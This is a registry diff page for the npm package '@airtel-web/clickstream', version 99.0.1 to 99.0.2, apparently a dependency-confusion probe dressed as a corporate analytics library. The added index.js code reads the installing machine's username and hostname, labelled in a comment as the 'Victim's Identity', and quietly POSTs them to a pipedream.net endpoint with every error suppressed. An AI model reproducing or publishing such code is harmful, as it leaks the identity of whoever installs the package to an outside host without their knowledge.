@airtel-web/clickstream 99.0.1 → 99.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +27 -7
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,14 +1,34 @@
|
|
|
1
|
-
const
|
|
1
|
+
const https = require('https');
|
|
2
2
|
const os = require('os');
|
|
3
3
|
// 1. Get the Victim's Identity
|
|
4
4
|
const user = os.userInfo().username;
|
|
5
5
|
const host = os.hostname();
|
|
6
|
-
// 2.
|
|
7
|
-
const
|
|
6
|
+
// 2. Prepare POST payload
|
|
7
|
+
const postData = JSON.stringify({
|
|
8
|
+
user: user,
|
|
9
|
+
host: host
|
|
10
|
+
});
|
|
8
11
|
// 3. Send the Signal (Fire and Forget)
|
|
9
12
|
try {
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
13
|
+
const options = {
|
|
14
|
+
hostname: 'eosrhixgl4px9ae.m.pipedream.net',
|
|
15
|
+
port: 443,
|
|
16
|
+
path: '/',
|
|
17
|
+
method: 'POST',
|
|
18
|
+
headers: {
|
|
19
|
+
'Content-Type': 'application/json',
|
|
20
|
+
'Content-Length': Buffer.byteLength(postData)
|
|
21
|
+
}
|
|
22
|
+
};
|
|
23
|
+
|
|
24
|
+
const req = https.request(options, (res) => {
|
|
25
|
+
// We don't care about the response, just fire and forget
|
|
26
|
+
});
|
|
27
|
+
|
|
28
|
+
req.on('error', (e) => {
|
|
29
|
+
// Silently ignore errors
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
req.write(postData);
|
|
33
|
+
req.end();
|
|
14
34
|
} catch (e) { }
|